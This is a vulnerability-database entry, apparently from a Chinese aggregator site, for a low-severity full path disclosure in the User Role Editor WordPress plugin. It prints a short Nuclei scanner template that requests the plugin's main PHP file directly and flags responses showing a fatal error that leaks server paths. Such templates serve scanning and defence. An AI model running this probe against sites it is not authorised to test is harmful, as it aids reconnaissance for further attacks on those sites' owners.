wp-user-role-editor-fpd: User Role Editor - Full Path Disclosure

2026-01-08 User Role Editor PoC Public

Description

User Role Editor WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

Details

Severity
低危
Affected
User Role Editor
Published
PoC
Public

PoC

id: wp-user-role-editor-fpd

info:
  name: User Role Editor - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    User Role Editor WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/user-role-editor/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/user-role-editor/"
  tags: debug,wordpress,wp,wp-plugin,user-role-editor,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/user-role-editor/user-role-editor.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "user-role-editor")'
        condition: and
# digest: 4a0a004730450221008a0bc374db8a0910f4178294c6ad301f7e5f9af9a8a30e08cf1d397756d755df02206641cca236145964e53296a5d62ed1e1275f5ff3bde51cbf5fda794ecd5ae085:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life